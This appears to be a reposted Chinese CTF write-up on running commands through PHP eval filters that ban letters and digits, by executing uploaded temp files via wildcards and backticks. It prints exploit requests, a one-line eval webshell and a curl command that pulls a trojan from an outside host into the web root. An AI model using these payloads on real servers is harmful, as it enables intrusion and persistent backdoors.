无字母数字webshell

预备知识

一些不包含数字和字母的webshell

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

无字母数字webshell之提高篇

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

第一篇文章主要介绍通过取反、异或、递增,p神讲的很清楚了。

题目
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>

题目ban掉了除小写p以外的所有数字字母,以及所有位运算符和$ _ 括号等符号,p神第一篇文章写得通过位运算以及递增运算的方法都无效。

PHP上传机制

在php.ini中可以看到这样的配置

file_uploads 是否允许上传

upload_tmp_dir 是默认的临时文件的保存目录,linux下默认为/tmp

然后来看一下php文件上传的代码是如何实现的

PHP 文件上传 https://www.runoob.com/php/php-file-upload.html

上传表单:

<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>

保存上传的文件到特定的目录下:

<?php
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名 echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>"; // 判断当期目录下的 upload 目录是否存在该文件
// 如果没有 upload 目录,你需要创建它,upload 目录权限为 777
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
?>

最核心的一句代码就是:

move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);

也就是说,php的上传实际上是接受multipart/form-data然后将它保存在临时文件中,php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。

为了研究这个临时文件,我们本地创建一个1.php,他没有任何上传的功能

<?php
echo "123";

然后向他上传东西

POST /1.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Content-Length: 257
Origin: http://localhost
Connection: close
Referer: http://localhost/exp/uploadform.html
Upgrade-Insecure-Requests: 1 -----------------------------10242300956292313528205888
Content-Disposition: form-data; name="userfile1"; filename="y1ng.txt"
Content-Type: text/plain <?php @eval($_POST['y1ng']); ?>
-----------------------------10242300956292313528205888--

使用intruder不停发包,虽然临时文件会在上传过程结束时被删除,但是我们依然能够发现php保存了临时文件

上传的文件内容是什么,临时文件就原封不动的保存什么

也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。

另外,这个php临时文件在linux系统下的命名规则永远是phpXXXXXX

PHP命令执行

题目给了代码执行功能

eval($cmd);

我们经常使用system()等函数执行系统命令,但在本题目的严格正则匹配情况下,是无法使用这些。还好PHP有执行运算符,也就是反引号,和shell_exec() system()一样,可以执行系统命令。

https://www.php.net/manual/zh/language.operators.execution.php

但是,虽然执行却没有任何回显

PHP短开标签输出

很简单,就是执行了没输出:

问题在于,在不能使用echo() print() var_dump()等函数的情况下如何输出?

我们都知道php代码以<?php作为开头,也可以简写为<?,不过这是由php的配置文件决定的,在short_open_tag开放的情况下可以使用<?代替<?php

但是这个和输出没啥关系。我想说的是另一个短开标签,test.php:

<?= "www.gem-love.com";

实际上,<?=echo()的别名用法,并且在php7的情况下无论short_open_tag是否开了都可以使用。

在本题目环境实际使用的过程中,直接<?=还是不够的,需要先?>把前面的<?php给闭合掉才可以:

?cmd=?><?=`ls`;

通配符与无字母数组命令执行

还有很多问题,虽然现在知道怎么执行命令又能输出执行结果,问题在于在题目苛刻的情况下如何执行查看flag的命令

我们可以把命令写到一个文件里,文件的类型是任意的,比如txt:

可以看到,执行这个exp.txt就执行了它里面写的cat flag.txt的命令并输出了结果。php里用执行运算符同样可以执行

上面说了php的上传机制和临时文件,我们可以对这个php文件进行文件上传,那么就会生成一个名为phpXXXXXX的临时文件,虽然它会在这个脚本结束时被清理,但是我们可以在上传的同时执行它那么就会执行成功。

上面也说了,上传什么就会在临时文件中保存什么,我们只需要把刚刚的exp.txt上传然后执行这个临时文件就可以了。

在题目中由于正则的匹配就算是知道临时文件的文件名也没法用,更何况也不知道文件名。不过我们知道临时文件的命名规则,还能用小写p,还能用通配符。关于通配符说白了就是用?或进行文件名匹配,题目ban掉了但是还可以用问号:

因此,我们可以用/???/p?p??????表示这个临时文件,这个问题就得到完美解决了。

getshell

首先将一句话木马存在服务器上

然后curl这个一句话并输出到网站根目录下

POST /index.php?cmd=?%3E%3C?=`.+/??p/p?p??????`; HTTP/1.1
Host: 124.156.121.112:28099
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------5642920497686823912130808832
Content-Length: 304
Connection: close
Upgrade-Insecure-Requests: 1 -----------------------------5642920497686823912130808832
Content-Disposition: form-data; name="fileUpload"; filename="dd.txt"
Content-Type: text/plain #! /bin/sh curl http://gem-love.com/trojan.txt >> /var/www/html/y1ng.php
-----------------------------5642920497686823912130808832--

如果知道flag存在flag.txt中,也可以直接cat

题目:ctfshow web入门

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com */ // 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

解题

在这个之前我们需要构造一个post上传文件的数据包。

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后抓包如图

构造poc执行命令

?c=.+/???/????????[@-[]

注:后面的[@-[]是linux下面的匹配符,匹配大写字母,因为,php????????? 共匹配9个字符,而最后一位,匹配大写字母,几乎没有其他文件的后缀是大写。

然后在上传文件内容添加sh命令

#!/bin/sh
ls
12

直接读flag

总结

**这道题主要是利用 上传文件到临时命令去通过.(点)去执行该上传文件的内容。在linux 中 直接 . filename 会执行文件,但是这里直接这样会被当做是 ./ 当前目录,所以我认为作者的意思是 加一个 + 然后避免这个问题。

参考

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://www.gem-love.com/websecurity/1407.html#PHP命令执行

最后说明一下为什么在使用eval()函数有时候需要添加?>

<?php
eval($_GET[1]);
#如果我们通过<?=`ls`;去执行的话需要在前面添加?>
123

原因是eval()函数相当于执行php的代码,而<?= 就相当于<?php echo

在PHP7以上不管short_open_tag配置是不是开启的。都可以使用。

所以就相当于一个新的PHP文件,这样的话就需要将最开始前面的<?php给闭合,不然不会执行。

闭合之后就相当于

<?php
?>
<?=`ls`;
123

转载y1ng师傅,

链接地址:https://www.gem-love.com/websecurity/1407.html

以及Firebasky师傅

链接地址:http://blog.csdn.net/qq_46091464/article/details/108513145![]

无字母数字getshell的更多相关文章

  1. Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx

    Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...

  2. 浅谈无字母数字构造webshell

    0x00 问题 <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($cod ...

  3. 构造无字母数字Webshell

    异或: 补充: A的ascii为65,对应二进制是01000001 <?php echo "1"^"A"; ?> 将"A"和&q ...

  4. PHP字母数字验证码和中文验证码

    1:字母数字组合的验证码 HTML代码: 验证码:<input type="text" name="code"> <img onclick=& ...

  5. 字母数字、字母、汉字验证码 (java)

    原文:http://blog.csdn.net/qh_java/article/details/49854477 一.字母数字,字母,汉字验证码的生成代码 1.字母数字验证码: package com ...

  6. 【python】题目:有1、2、3、4个数字,能组成多少个互不相同且无重复数字的三位数?都是多少?

    # encoding:utf-8 # p001_1234threeNums.py def threeNums(): '''题目:有1.2.3.4个数字,能组成多少个互不相同且无重复数字的三位数?都是多 ...

  7. 对文本行进行排序,新增-d(目录排序),只对字母数字空格排序(TCPL 练习5-16)

    文本行的排序用到了命令行参数以及多级指针,在要求只对字母数字空格进行排序时,关键的问题点是兼容-f命令参数,也就是排序的同时忽略大小写.由于在之前的练习中,我将忽略大小写的比较方法重新写了一个函数tr ...

  8. js 正则 以字母开头必须有 大小写字母数字组成 可以有“@"或 ”.“

    js  正则  以字母开头必须有 大小写字母数字组成 可以有“@"或 ”.“ var reg = /^[a-zA-Z]{1}(?=.*[a-z])(?=.*[A-Z])[a-zA-Z\d_@ ...

  9. JS生成随机的由字母数字组合的字符串

    前言 最近有个需求,是需要生成3-32位长度的字母数字组合的随机字符串,另一个是生成43位随机字符串. 方法一 奇妙的写法   1 Math.random().toString(36).substr( ...

随机推荐

  1. 推荐几款好用的python编辑器

    1.自带的IDLE:  (1)交互式代码编辑.在>>>提示符后输入python代码,按Enter键就可以显示代码命令执行结果. (2)脚本式代码编辑.选择File菜单里的newFil ...

  2. docker 升级后或者重装后,启动容器提示:Error response from daemon: Unknown runtime specified docker-runc

    之前安装的版本是docker 1.3,并运行了容器jenkins 现在把docker升级版本为docker-ce 19.03 再使用docker ps发现之前的jenkins容器已经退出了 启动容器: ...

  3. day36 Pyhton 网络编程03

    一.内容回顾 socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字"向网络发出请求或者应答网络请求. sock ...

  4. win10开机启动文件夹

    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

  5. 【应用服务 App Service】NodeJS +Egg 发布到App Service时遇见 [ERR_SYSTEM_ERROR]: A system error occurred:uv_os_get_passwd returned ENOENT(no such file or directory)

    问题情形 本地NodeJS应用使用Egg脚手架构建,本地运行测试完全没有问题,发布后App Service后不能运行.通过登录到kudu后(https://<your web site>. ...

  6. 阿里云ecs,rds,redis优惠套餐

    阿里云ECS优惠套餐 阿里云RDS优惠套餐 阿里云REDIS优惠套餐 阿里云REDIS集群版 阿里云短信资源包

  7. origin把点图和线图放在一起

    首先分别做好点图和线图在两个graph中,然后选中其中一副图(点图或者线图),然后按下图选择: 如果有多个图,可以在弹出窗口中选择多个sheet.

  8. idea2019注册码,亲测可用(暂时不可用)!

    原文链接:https://www.jianshu.com/p/702deab2447c 注册码: MNQ043JMTU-eyJsaWNlbnNlSWQiOiJNTlEwNDNKTVRVIiwibGlj ...

  9. 【算法】二叉树、N叉树先序、中序、后序、BFS、DFS遍历的递归和迭代实现记录(Java版)

    本文总结了刷LeetCode过程中,有关树的遍历的相关代码实现,包括了二叉树.N叉树先序.中序.后序.BFS.DFS遍历的递归和迭代实现.这也是解决树的遍历问题的固定套路. 一.二叉树的先序.中序.后 ...

  10. 用 Java 训练深度学习模型,原来可以这么简单!

    本文适合有 Java 基础的人群 作者:DJL-Keerthan&Lanking HelloGitHub 推出的<讲解开源项目> 系列.这一期是由亚马逊工程师:Keerthan V ...